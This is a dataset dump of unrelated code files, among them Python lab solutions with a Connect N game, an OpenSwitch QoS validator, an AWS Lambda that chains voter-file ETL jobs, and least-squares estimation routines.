form = TextForm(request.form)\n if request.method == 'POST' and form.validate():\n source = request.form['source']\n target = translate(source)\n \n return render_template('textform.html',\n #source=source,\n form=form,\n target=target)\n \n #return render_template('reviewform.html', form=form)\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"hiroto/chapter10/knock99/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"246853746","text":"\"\"\" Lab 04 Optional Questions \"\"\"\n\nfrom lab04 import *\n\n# Q6\ndef flatten(lst):\n \"\"\"Returns a flattened version of lst.\n\n >>> flatten([1, 2, 3]) # normal list\n [1, 2, 3]\n >>> x = [1, [2, 3], 4] # deep list\n >>> flatten(x)\n [1, 2, 3, 4]\n >>> x = [[1, [1, 1]], 1, [1, 1]] # deep list\n >>> flatten(x)\n [1, 1, 1, 1, 1, 1]\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Base case: if it's only an empty list left, just return that empty list []\n if not lst:\n return []\n # If the currently selected (the first) element is a nested list, recursive call flatten on that element and the rest\n elif type(lst[0]) == list:\n return flatten(lst[0]) + flatten(lst[1:])\n else:\n return [lst[0]] + flatten(lst[1:])\n\n# Q7\ndef merge(lst1, lst2):\n \"\"\"Merges two sorted lists.\n\n >>> merge([1, 3, 5], [2, 4, 6])\n [1, 2, 3, 4, 5, 6]\n >>> merge([], [2, 4, 6])\n [2, 4, 6]\n >>> merge([1, 2, 3], [])\n [1, 2, 3]\n >>> merge([5, 7], [2, 4, 6])\n [2, 4, 5, 6, 7]\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # This implementation assumes that there are no same elements and no nested list.\n # Base case: if one of the lists is empty, then just add up both lists\n if not lst1 or not lst2:\n return lst1 + lst2\n # Recursive case 1: If the first element of lst1 is smaller than the first element of lst2,\n # then return that element from lst1 (in form of list) plus a recursive call excluding that element\n elif lst1[0] < lst2[0]:\n return [lst1[0]] + merge(lst1[1:], lst2)\n # Recursive case 2: similar to recursive case 1, but this time if the first element of lst2 is smaller than that of lst1\n else:\n return [lst2[0]] + merge(lst1, lst2[1:])\n \n \n\n######################\n### Connect N Game ###\n######################\n\ndef create_row(size):\n \"\"\"Returns a single, empty row with the given size. Each empty spot is\n represented by the string '-'.\n\n >>> create_row(5)\n ['-', '-', '-', '-', '-']\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Straightforward implementation using list comprehension\n return ['-' for i in range(size)]\n\n\ndef create_board(rows, columns):\n \"\"\"Returns a board with the given dimensions.\n\n >>> create_board(3, 5)\n [['-', '-', '-', '-', '-'], ['-', '-', '-', '-', '-'], ['-', '-', '-', '-', '-']]\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Also straightforward, make use of the create_row function\n return [create_row(columns) for i in range(rows)]\n\n\ndef replace_elem(lst, index, elem):\n \"\"\"Create and return a new list whose elements are the same as those in\n LST except at index INDEX, which should contain element ELEM instead.\n\n >>> old = [1, 2, 3, 4, 5, 6, 7]\n >>> new = replace_elem(old, 2, 8)\n >>> new\n [1, 2, 8, 4, 5, 6, 7]\n >>> new is old # check that replace_elem outputs a new list\n False\n \"\"\"\n assert index >= 0 and index < len(lst), 'Index is out of bounds'\n \"*** YOUR CODE HERE ***\"\n return lst[:index] + [elem] + lst[index+1:]\n\n\ndef get_piece(board, row, column):\n \"\"\"Returns the piece at location (row, column) in the board.\n\n >>> rows, columns = 2, 2\n >>> board = create_board(rows, columns)\n >>> board = put_piece(board, rows, 0, 'X')[1] # Puts piece \"X\" in column 0 of board and updates board\n >>> board = put_piece(board, rows, 0, 'O')[1] # Puts piece \"O\" in column 0 of board and updates board\n >>> get_piece(board, 1, 0)\n 'X'\n >>> get_piece(board, 1, 1)\n '-'\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n return board[row][column]\n\n\ndef put_piece(board, max_rows, column, player):\n \"\"\"Puts PLAYER's piece in the bottommost empty spot in the given column of\n the board. Returns a tuple of two elements:\n\n 1. The index of the row the piece ends up in, or -1 if the column\n is full.\n 2. The new board\n\n >>> rows, columns = 2, 2\n >>> board = create_board(rows, columns)\n >>> row, new_board = put_piece(board, rows, 0, 'X')\n >>> row\n 1\n >>> row, new_board = put_piece(new_board, rows, 0, 'O')\n >>> row\n 0\n >>> row, new_board = put_piece(new_board, rows, 0, 'X')\n >>> row\n -1\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Initiate the currently selected row\n row_i = max_rows - 1\n # Climb up the rows until Python reaches the first bottom-most empty spot. If Python can't find empty spot, row_i would be kept decrementing until\n # it reaches -1\n while row_i >= 0 and get_piece(board, row_i, column) != '-':\n row_i -= 1\n # After climbing all the way up, if the currently selected row is not a negative number, use replace-elem to put the 'O' or 'X' piece\n if row_i >= 0:\n # Create a new row where the index is the column\n new_row = replace_elem(board[row_i], column, player)\n # Create a new board incorporating the new_row above. The index is the currently selected row\n new_board = replace_elem(board, row_i, new_row)\n board = new_board\n return (row_i, board)\n\n\ndef make_move(board, max_rows, max_cols, col, player):\n \"\"\"Put player's piece in column COL of the board, if it is a valid move.\n Return a tuple of two values:\n\n 1. If the move is valid, make_move returns the index of the row the\n piece is placed in. Otherwise, it returns -1.\n 2. The updated board\n\n >>> rows, columns = 2, 2\n >>> board = create_board(rows, columns)\n >>> row, board = make_move(board, rows, columns, 0, 'X')\n >>> row\n 1\n >>> get_piece(board, 1, 0)\n 'X'\n >>> row, board = make_move(board, rows, columns, 0, 'O')\n >>> row\n 0\n >>> row, board = make_move(board, rows, columns, 0, 'X')\n >>> row\n -1\n >>> row, board = make_move(board, rows, columns, -4, '0')\n >>> row\n -1\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Very similar to put_piece function. The only difference is that make_move might give out invalid column input\n if col >= 0 and col <= max_cols:\n return put_piece(board, max_rows, col, player)\n else:\n return (-1, board)\n\ndef print_board(board, max_rows, max_cols):\n \"\"\"Prints the board. Row 0 is at the top, and column 0 at the far left.\n\n >>> rows, columns = 2, 2\n >>> board = create_board(rows, columns)\n >>> print_board(board, rows, columns)\n - -\n - -\n >>> new_board = make_move(board, rows, columns, 0, 'X')[1]\n >>> print_board(new_board, rows, columns)\n - -\n X -\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Iterate through the rows, starting with row 0\n for row in range(max_rows):\n # row_str stores the string of pieces so far\n row_str = ''\n # iterate through the columns, starting with column 0\n for col in range(max_cols):\n # Use the get_piece function to obtain each piece, adding a whitespace in the end\n row_str += get_piece(board, row, col) + ' '\n # The outcome of row_str has an extra space at the end. We can get rid of it using .strip()\n print(row_str.strip())\n \n\ndef check_win_row(board, max_rows, max_cols, num_connect, row, player):\n \"\"\" Returns True if the given player has a horizontal win\n in the given row, and otherwise False.\n\n >>> rows, columns, num_connect = 4, 4, 2\n >>> board = create_board(rows, columns)\n >>> board = make_move(board, rows, columns, 0, 'X')[1]\n >>> board = make_move(board, rows, columns, 0, 'O')[1]\n >>> check_win_row(board, rows, columns, num_connect, 3, 'O')\n False\n >>> board = make_move(board, rows, columns, 2, 'X')[1]\n >>> board = make_move(board, rows, columns, 0, 'O')[1]\n >>> check_win_row(board, rows, columns, num_connect, 3, 'X')\n False\n >>> board = make_move(board, rows, columns, 1, 'X')[1]\n >>> check_win_row(board, rows, columns, num_connect, 3, 'X')\n True\n >>> check_win_row(board, rows, columns, 4, 3, 'X') # A win depends on the value of num_connect\n False\n >>> check_win_row(board, rows, columns, num_connect, 3, 'O') # We only detect wins for the given player\n False\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n count = 0 #Counts the number of pieces that are the same as player so far\n for col in range(max_cols):\n # For every column selected in a row, if the piece is the same as player, increment count\n if get_piece(board, row, col) == player:\n count += 1\n # Then if the count is the same or greater than num_connect, then the winning condition is fulfilled\n if count >= num_connect:\n return True\n # If the piece selected is not the same as player, reset the count\n else:\n count = 0\n return False\n\ndef check_win_column(board, max_rows, max_cols, num_connect, col, player):\n \"\"\" Returns True if the given player has a vertical win in the given column,\n and otherwise False.\n\n >>> rows, columns, num_connect = 5, 5, 2\n >>> board = create_board(rows, columns)\n >>> board = make_move(board, rows, columns, 0, 'X')[1]\n >>> board = make_move(board, rows, columns, 1, 'O')[1]\n >>> check_win_column(board, rows, columns, num_connect, 0, 'X')\n False\n >>> board = make_move(board, rows, columns, 1, 'X')[1]\n >>> board = make_move(board, rows, columns, 1, 'O')[1]\n >>> check_win_column(board, rows, columns, num_connect, 1, 'O')\n False\n >>> board = make_move(board, rows, columns, 2, 'X')[1]\n >>> board = make_move(board, rows, columns, 1, 'O')[1]\n >>> check_win_column(board, rows, columns, num_connect, 1, 'O')\n True\n >>> check_win_column(board, rows, columns, 4, 1, 'O')\n False\n >>> check_win_column(board, rows, columns, num_connect, 1, 'X')\n False\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Same implementation as check_win_row, but this time we vary the rows\n count = 0\n for row in range(max_rows):\n if get_piece(board, row, col) == player:\n count += 1\n if count >= num_connect:\n return True\n else:\n count = 0\n return False\n\ndef check_win(board, max_rows, max_cols, num_connect, row, col, player):\n \"\"\"Returns True if the given player has any kind of win passing through \n (row, col), and False otherwise.\n\n >>> rows, columns, num_connect = 2, 2, 2\n >>> board = create_board(rows, columns)\n >>> board = make_move(board, rows, columns, 0, 'X')[1]\n >>> board = make_move(board, rows, columns, 1, 'O')[1]\n >>> board = make_move(board, rows, columns, 0, 'X')[1]\n >>> check_win(board, rows, columns, num_connect, 0, 0, 'O')\n False\n >>> check_win(board, rows, columns, num_connect, 0, 0, 'X')\n True\n\n >>> board = create_board(rows, columns)\n >>> board = make_move(board, rows, columns, 0, 'X')[1]\n >>> board = make_move(board, rows, columns, 0, 'O')[1]\n >>> board = make_move(board, rows, columns, 1, 'X')[1]\n >>> check_win(board, rows, columns, num_connect, 1, 0, 'X')\n True\n >>> check_win(board, rows, columns, num_connect, 0, 0, 'X')\n False\n\n >>> board = create_board(rows, columns)\n >>> board = make_move(board, rows, columns, 0, 'X')[1]\n >>> board = make_move(board, rows, columns, 1, 'O')[1]\n >>> board = make_move(board, rows, columns, 1, 'X')[1]\n >>> check_win(board, rows, columns, num_connect, 0, 0, 'X')\n False\n >>> check_win(board, rows, columns, num_connect, 1, 0, 'X')\n True\n \"\"\"\n diagonal_win = check_win_diagonal(board, max_rows, max_cols, num_connect,\n row, col, player)\n \"*** YOUR CODE HERE ***\"\n return diagonal_win or \\\n check_win_row(board, max_rows, max_cols,num_connect, row, player) or \\\n check_win_column(board, max_rows, max_cols, num_connect, col, player)\n\n\n###############################################################\n### Functions for reference when solving the other problems ###\n###############################################################\n\ndef check_win_diagonal(board, max_rows, max_cols, num_connect, row, col, player):\n \"\"\" Returns True if the given player has a diagonal win passing the spot\n (row, column), and False otherwise.\n \"\"\"\n # Find top left of diagonal passing through (row, col).\n adjacent = 0\n row_top_left, col_top_left = row, col\n while row_top_left > 0 and col_top_left > 0:\n row_top_left -= 1\n col_top_left -= 1\n\n # Loop through top left to bottom right diagonal and check for win.\n while row_top_left < max_rows and col_top_left < max_cols:\n piece = get_piece(board, row_top_left, col_top_left)\n if piece == player:\n adjacent += 1\n else:\n adjacent = 0\n if adjacent >= num_connect:\n return True\n row_top_left += 1\n col_top_left += 1\n\n # Find top right of diagonal passing through (row, col).\n adjacent = 0\n row_top_right, col_top_right = row, col\n while row_top_right > 0 and col_top_right < max_cols - 1:\n row_top_right -= 1\n col_top_right += 1\n\n # Loop through top right to bottom left diagonal and check for win.\n while row_top_right < max_rows and col_top_right >= 0:\n piece = get_piece(board, row_top_right, col_top_right)\n if piece == player:\n adjacent += 1\n else:\n adjacent = 0\n if adjacent >= num_connect:\n return True\n row_top_right += 1\n col_top_right -= 1\n\n return False\n\n#####################################################################################\n### You do not need to read or understand the following code for this assignment. ###\n#####################################################################################\n\nimport sys\n\ndef other(player):\n \"\"\" Returns the given player's opponent.\n \"\"\"\n if player == 'X':\n return 'O'\n return 'X'\n\ndef play(board, max_rows, max_cols, num_connect):\n max_turns = max_rows * max_cols\n playing = True\n print(\"Player 'X' starts\")\n who = 'X'\n turns = 0\n\n while True:\n turns += 1\n if turns > max_turns:\n print(\"No more moves. It's a tie!\")\n sys.exit()\n\n while True:\n try:\n col_index = int(input('Which column, player {}? '.format(who)))\n except ValueError as e:\n print('Invalid input. Please try again.')\n continue\n\n row_index, board = make_move(board, max_rows, max_cols, col_index, who)\n\n if row_index != -1:\n break\n\n print(\"Oops, you can't put a piece there\")\n\n print_board(board, max_rows, max_cols)\n\n if check_win(board, max_rows, max_cols, num_connect, row_index, col_index, who):\n print(\"Player {} wins!\".format(who))\n sys.exit()\n\n who = other(who)\n\ndef start_game():\n # Get all parameters for the game from user.\n while True:\n # Get num_connect from user.\n while True:\n try:\n num_connect = int(input('How many to connect (e.g. 4 for Connect 4)? '))\n except ValueError as e:\n print('Invalid input. Please try again.')\n continue\n break\n\n # Get number of rows for board from user.\n while True:\n try:\n max_rows = int(input('How many rows? '))\n except ValueError as e:\n print('Invalid input. Please try again.')\n continue\n break\n\n # Get number of columns for board from user.\n while True:\n try:\n max_cols = int(input('How many columns? '))\n except ValueError as e:\n print('Invalid input. Please try again.')\n continue\n break\n\n if max_rows >= num_connect or max_cols >= num_connect:\n break\n print(\"Invalid dimensions for connect {0}. Please try again.\".format(num_connect))\n\n board = create_board(max_rows, max_cols)\n play(board, max_rows, max_cols, num_connect)","sub_path":"Lab/lab04/lab04_extra.py","file_name":"lab04_extra.py","file_ext":"py","file_size_in_byte":15981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"569931155","text":"#!/usr/bin/env python3\n\nimport simplejson as json\nfrom collections import OrderedDict\n\nclass Json():\n __jsonData = None\n def __init__(self, filename = False):\n if filename != False:\n try:\n jsonfile = open(filename)\n js = json.loads(jsonfile.read())\n sort = (sorted(js.items(), key=lambda x: x[0]))\n self.__jsonData = sort\n print(sort)\n jsonfile.close()\n except FileNotFoundError:\n print(\"Json File not found!\")\n except Exception as e:\n print(\"Exception handling Json file\")\n print(repr(e))\n \n\n def fetch(self):\n return self.__jsonData\n\n def savestate(self, data, filename):\n try:\n file_h = open(filename, 'w')\n file_h.write(json.dumps(data, sort_keys=True))\n except Exception as e:\n print(\"Something went wrong in the json.savestate method\")\n\n","sub_path":"healthi/handler/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"486509481","text":"#!/usr/bin/env python\n# Copyright (C) 2015-2016 Hewlett Packard Enterprise Development LP\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom opsvalidator.base import BaseValidator\nfrom opsvalidator import error\nfrom opsvalidator.error import ValidationError\n\nimport qos_utils\n\n#\n# REST Custom Validator for QoS for the QoS DSCP Map Entry table.\n#\n\n\nclass QosDscpMapEntryValidator(BaseValidator):\n resource = \"qos_dscp_map_entry\"\n\n #\n # Validates that the given modification to a given row is allowed.\n #\n def validate_modification(self, validation_args):\n if validation_args.is_new:\n details = \"DSCP Map Entries cannot be created.\"\n raise ValidationError(error.VERIFICATION_FAILED, details)\n\n qos_dscp_map_entry_row = validation_args.resource_row\n self.validate_dscp_map_description_contains_valid_chars(\n qos_dscp_map_entry_row)\n\n # Cos (priority_code_point) is not supported for dill.\n self.validate_priority_code_point_is_empty(\n qos_dscp_map_entry_row)\n\n #\n # Validates that the given deletion of a given row is allowed.\n #\n def validate_deletion(self, validation_args):\n details = \"DSCP Map Entries cannot be deleted.\"\n raise ValidationError(error.VERIFICATION_FAILED, details)\n\n #\n # Validates that the dscp map desctiption contains valid characters.\n #\n def validate_dscp_map_description_contains_valid_chars(\n self, qos_dscp_map_entry_row):\n if qos_dscp_map_entry_row.description is None:\n return\n\n description = qos_dscp_map_entry_row.description[0]\n qos_utils.validate_string_contains_valid_chars(description)\n\n #\n # Validates that the priority_code_point field is empty, since it is\n # not supported for dill.\n #\n def validate_priority_code_point_is_empty(\n self, qos_dscp_map_entry_row):\n # Cos (priority_code_point) is not supported for dill.\n if qos_dscp_map_entry_row.priority_code_point != []:\n details = \"The priority_code_point field \" + \\\n \"is not currently supported.\"\n raise ValidationError(error.VERIFICATION_FAILED, details)\n","sub_path":"ops/opsplugins/qos/qos_dscp_map_entry.py","file_name":"qos_dscp_map_entry.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"14236743","text":"from itertools import product\n\n\ndef iscomp(n):\n for i in range(2, 10000):\n if not n % i:\n return i\n return False\n\n\ninput()\nresult = []\nn, j = map(int, input().split())\nfor ii, coin in enumerate(product(\"01\", repeat=n-2)):\n coin = \"1\" + \"\".join(coin) + \"1\"\n # if ii % 1 == 0:\n # print(\"\\t\", ii, coin)\n divs = []\n for i in range(2, 11):\n m = int(coin, i)\n divs.append(iscomp(m))\n if not divs[-1]:\n break\n else:\n # print(coin)\n result.append((coin, divs))\n if len(result) == j:\n break\nprint(\"Case #1:\")\nfor c, divs in result:\n print(c, \" \".join(map(str, divs)))\n","sub_path":"solutions_5738606668808192_1/Python/MaksK/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"466442506","text":"from __future__ import print_function\nimport boto3\nimport urllib\nimport re\nimport os.path\n\n\nreporter_dict = {\n \"WA\": \"1\",\n \"OH\": \"2\",\n \"NY\": \"3\",\n \"FL\": \"4\",\n \"MI\": \"5\"\n}\n\n\ndef submit_file_copy_job(client, bucket, key):\n s3_path = \"s3://%s/%s\" % (bucket, key)\n command = {\"command\": [\"sh\", \"-cxv\", \"aws s3 cp %s /work; chmod go+rw /work/%s\" % (s3_path, key)]}\n\n job_submit_result = client.submit_job(jobName='CopyVoterFile', jobQueue='National-Voter-File-Job-Queue',\n jobDefinition='S3Ops', containerOverrides=command)\n\n job_id = job_submit_result['jobId']\n return job_id\n\n\ndef submit_unzip_job(client, input_file, extension, dependsOn):\n\n if extension == '.gz':\n command = {\"command\": [\"sh\", \"-cxv\", \"gunzip -f \"+input_file]}\n elif extension == '.zip':\n command = {\"command\": [\"sh\", \"-cxv\", \"unzip -f \"+input_file]}\n else:\n raise Exception(\"Unrecognized compressed file extension: \"+extension)\n\n job_submit_result = client.submit_job(jobName='UnzipVoterFile', jobQueue='National-Voter-File-Job-Queue',dependsOn=dependsOn,\n jobDefinition='BusyBox', containerOverrides=command)\n\n job_id = job_submit_result['jobId']\n return job_id\n\n\ndef submit_transform_job(batch_client, input_file, state_name, dependsOn):\n xform_command = {\"command\": [\"--configfile\", \"/work/load_conf.json\", \"-s\", state_name, \"--input_file\",\n input_file, \"transform\"]}\n\n job_submit_result = batch_client.submit_job(jobName='Transform' + state_name,\n jobQueue='National-Voter-File-Job-Queue',\n jobDefinition='ETL', dependsOn=dependsOn,\n containerOverrides=xform_command)\n return job_submit_result['jobId']\n\n\ndef submit_precinct_job(batch_client, input_file, state_name, report_date, dependsOn):\n xform_command = {\n \"command\": [\"--configfile\", \"/work/load_conf.json\", \"--update_jndi\", \"--report_date\", report_date, \"-s\",\n state_name, \"--input_file\",\n input_file, \"precincts\"]}\n\n job_submit_result = batch_client.submit_job(jobName='LoadPrecincts' + state_name + report_date,\n jobQueue='National-Voter-File-Job-Queue',\n jobDefinition='ETL', dependsOn=dependsOn,\n containerOverrides=xform_command)\n return job_submit_result['jobId']\n\n\ndef submit_load_job(batch_client, input_file, state_name, report_date, reporter, dependsOn):\n xform_command = {\"command\": [\"--configfile\", \"/work/load_conf.json\", \"--update_jndi\", \"--report_date\", report_date,\n \"--reporter_key\", reporter, \"-s\", state_name, \"--input_file\",\n input_file, \"load\"]}\n\n job_submit_result = batch_client.submit_job(jobName='LoadVoterFile' + state_name + report_date,\n jobQueue='National-Voter-File-Job-Queue',\n jobDefinition='ETL', dependsOn=dependsOn,\n containerOverrides=xform_command)\n return job_submit_result['jobId']\n\n\ndef submit_vote_history_job(batch_client, input_file, state_name, report_date, reporter, dependsOn):\n xform_command = {\"command\": [\"--configfile\", \"/work/load_conf.json\", \"--update_jndi\", \"--report_date\", report_date,\n \"--reporter_key\", reporter, \"-s\", state_name, \"--input_file\",\n input_file, \"history\"]}\n\n job_submit_result = batch_client.submit_job(jobName='LoadVoterHistory' + state_name + report_date,\n jobQueue='National-Voter-File-Job-Queue',\n jobDefinition='ETL', dependsOn=dependsOn,\n containerOverrides=xform_command)\n return job_submit_result['jobId']\n\ndef lambda_handler(event, context):\n batch_client = boto3.client('batch')\n \"\"\":type: pyboto3.batch\"\"\"\n\n s3 = boto3.resource('s3')\n\n # Extract the bucket name and object name\n bucket = event['Records'][0]['s3']['bucket']['name']\n key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'])\n\n # Determine the state associated with this bucket\n bucket_tagging = s3.BucketTagging(bucket)\n state_tags = [el for el in bucket_tagging.tag_set if el['Key'] == 'state_name']\n state_name = state_tags[0]['Value']\n\n reporter = reporter_dict[state_name]\n\n # Extract the file date\n m = re.search(\"_([0-9]{4})([0-9]{2})([0-9]{2}).*\", key)\n if not m:\n raise Exception(\"Can't determine file date from \" + key)\n\n report_date = \"%s-%s-%s\" % (m.group(1), m.group(2), m.group(3))\n\n print(\"Processing file for \" + state_name + \" on \" + report_date)\n\n # Copy the file from S3 to our local EFS mount\n cp_job = submit_file_copy_job(batch_client, bucket, key)\n print(\"cp job is \" + cp_job)\n\n input_file = \"/work/\" + key\n\n # Unzip the file once it is copied (if necessary)\n (base_file, extension) = os.path.splitext(input_file)\n if extension == '.gz' or extension == '.zip':\n file_ready_job = submit_unzip_job(batch_client, input_file, extension, [{'jobId': cp_job}])\n\n if input_file.endswith('gz'):\n file_ready_job = submit_unzip_job(batch_client, input_file, [{'jobId': cp_job}])\n m = re.match(\"(.*)\\\\.gz$\", input_file)\n input_file = m.group(1)\n else:\n file_ready_job = cp_job\n\n # Schedule a transform job after that\n transform_job = submit_transform_job(batch_client, input_file, state_name, [{'jobId': file_ready_job}])\n\n # The precinct job can run in parallel\n precinct_job = submit_precinct_job(batch_client, input_file, state_name, report_date, [{'jobId': file_ready_job}])\n\n # The load job needs the transform and the precincts\n load_job = submit_load_job(batch_client, \"/work/\" + state_name.lower() + \"_output.csv\", state_name, report_date,\n reporter, [{'jobId': transform_job}, {'jobId': precinct_job}])\n","sub_path":"python/s3Job.py","file_name":"s3Job.py","file_ext":"py","file_size_in_byte":6339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"426187810","text":"from django.contrib import admin\nfrom models import *\n\nfrom perception.actions import export_as_xls\n\nadmin.site.register(Camera)\n\n\nclass MotionAdmin(admin.ModelAdmin):\n list_filter = ['camera']\n\nclass VolumeAdmin(admin.ModelAdmin):\n list_filter = ['camera']\n\nadmin.site.register(Volume, VolumeAdmin)\nadmin.site.register(Motion, MotionAdmin)\n\n\n\nclass MyAdmin(admin.ModelAdmin):\n actions = [export_as_xls]\n\nadmin.site.add_action(export_as_xls)","sub_path":"perception/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"39657568","text":"import numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\n\ndef extractTrainingSet(G):\n Phi = np.zeros((len(G), len(G[0][0])))\n Y = np.zeros((len(G),len(G[0][1])))\n for i in range(len(G)):\n Phi[i] = G[i][0]\n Y[i] = G[i][1]\n return Phi, Y\n\ndef bls(Phi, Y): #batchLeastSquares\n \"\"\"performs batch least squares on data set G\"\"\"\n PTP = np.dot(Phi.T,Phi)\n PTY = np.dot(Phi.T,Y)\n return np.dot(np.linalg.inv(PTP),PTY)\n\ndef wbls(Phi, Y, W): #weightedBatchLeastSquares\n \"\"\"Weighted Batch Least Squares\"\"\"\n #TODO: get dim M and throw error if W is not MxM\n PTWP = np.dot(Phi.T, np.dot(W, Phi))\n PTWY = np.dot(Phi.T, np.dot(W, Y))\n return np.dot(np.lingalg.inv(PTWP, PTWY))\n\ndef rls(Phi, Y, alpha=2000, NRLS=20):\n \"\"\"Recursive Least Squares\"\"\"\n M = Phi.shape[0]\n N = Phi.shape[1]\n \n # initialize thetahat and P\n thetahat = np.array([0.,0.]).T\n P = alpha * np.identity(N)\n for i in range(M * NRLS):\n x = Phi[i%M, :]\n y = Y[i%M]\n c = 1 + np.dot(x.T, np.dot(P, x))\n Px = np.dot(P, x)\n P = np.dot(np.identity(2) - (np.outer(Px, x.T) / c), P)\n diff = y - np.dot(x.T, thetahat)\n #FIXME: this line works only because y is a scalar\n thetahat = thetahat + np.dot(P, x) * diff\n return thetahat\n\ndef wrls(Phi, Y, alpha=2000, forget_factor=1, NRLS=20):\n \"\"\"Weighted Recursive Least Squares\"\"\"\n Phi, Y = extractTrainingSet(G)\n M = Phi.shape[0]\n N = Phi.shape[1]\n \n # initialize thetahat and P\n thetahat = np.array([0.,0.]).T\n P = alpha * np.identity(N)\n for i in range(M * NRLS):\n x = Phi[i%M, :]\n y = Y[i%M]\n c = forget_factor * 1 + np.dot(x.T, np.dot(P, x))\n Px = np.dot(P, x)\n P = np.dot(np.identity(2) - (np.outer(Px, x.T) / c), P)\n P = P / forget_factor\n diff = y - np.dot(x.T, thetahat)\n #FIXME: this line works only because y is a scalar\n thetahat = thetahat + np.dot(P, x) * diff\n return thetahat\n\ndef xsiFuzzyGauss(x, centers, spreads):\n R = centers.shape[0]\n n = centers.shape[1]\n xsi = np.zeros(x.shape)\n den = 0\n for i in range(R):\n prod = 1\n for j in range(n):\n prod *= np.exp(-0.5 * ((x[j] - centers[i][j]) / spreads[i][j]) ** 2)\n den += prod\n for i in range(R):\n num = 1\n for j in range(n):\n num *= np.exp(-0.5 * ((x[j] - centers[i][j]) / spreads[i][j]) ** 2)\n xsi[i] = num / den\n return xsi\n\ndef fuzzyGaussBLS(X, C, S, Y):\n Phi = np.zeros(X.shape)\n for i in range(X.shape[0]):\n Phi[i,:] = xsiFuzzyGauss(X[i,:], C, S)\n return bls(Phi, Y)\n \ndef calcUcrisp(x, b, C, S):\n num = 0\n den = 0\n for i in range(C.shape[0]):\n prod = 1\n for j in range(C.shape[1]):\n prod *= np.exp(-0.5 * ((x[j] - C[i][j]) / S[i][j]) ** 2)\n num += b[i] * prod\n den += prod\n return num / den\n\ndef fuzzyGaussRLS(X, C, S, Y):\n Phi = np.zeros(X.shape)\n for i in range(X.shape[0]):\n Phi[i,:] = xsiFuzzyGauss(X[i,:], C, S)\n return rls(Phi, Y)\n \n \nif __name__ == '__main__':\n G = [[[1.,1.],[1.]],[[2.,1.],[1.]],[[3.,1.],[3.]]]\n Phi, Y = extractTrainingSet(G)\n \n # Test bls and rls\n thetaHat = bls(Phi, Y)\n print(thetaHat)\n thetaHat2 = rls(Phi, Y)\n thetaHat3 = wrls(Phi, Y, alpha=100, forget_factor=0.9)\n print(thetaHat2)\n\n # Test fuzzyGaussBLS\n X = np.array([[0.,2.],[2.,4.],[3.,6.]])\n #C = X[:2, :]\n C = np.array([[1.5,3.],[3.,5.]])\n #print(C)\n S = 2 * np.ones((2,2))\n Y = [1.,5.,6.]\n theta = fuzzyGaussBLS(X, C, S, Y)\n #print(theta)\n for i in range(X.shape[0]):\n print(calcUcrisp(X[i,:], theta, C, S))\n\n X2 = np.array([[1,2],[2.5,5],[4,7]])\n for i in range(X2.shape[0]):\n print(calcUcrisp(X2[i,:], theta, C, S))\n\n # Test fuzzyGaussRLS\n theta2 = fuzzyGaussBLS(X, C, S, Y)\n print(theta2)\n for i in range(X.shape[0]):\n print(calcUcrisp(X[i,:], theta2, C, S))\n\n for i in range(X2.shape[0]):\n print(calcUcrisp(X2[i,:], theta2, C, S))\n\n\n\n\n\n\n\n","sub_path":"est-and-id/least-squares.py","file_name":"least-squares.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"401255468","text":"\n\nfrom xai.brain.wordbase.nouns._recitation import _RECITATION\n\n#calss header\nclass _RECITATIONS(_RECITATION, ):\n\tdef __init__(self,): \n\t\t_RECITATION.__init__(self)\n\t\tself.name = \"RECITATIONS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"recitation\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_recitations.py","file_name":"_recitations.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"123377226","text":"import logging\nlog = logging.getLogger(\"drc host\")\nlog.DEBUG = logging.DEBUG\nlog.INFO = logging.INFO\nlog._fmt = logging.Formatter('%(relativeCreated)09d | %(levelname)s | %(target)s | %(message)s')\nlog.HST = {\"target\": \"HST\"}\nlog.BBB = {\"target\": \"BBB\"}\nlogHandler = 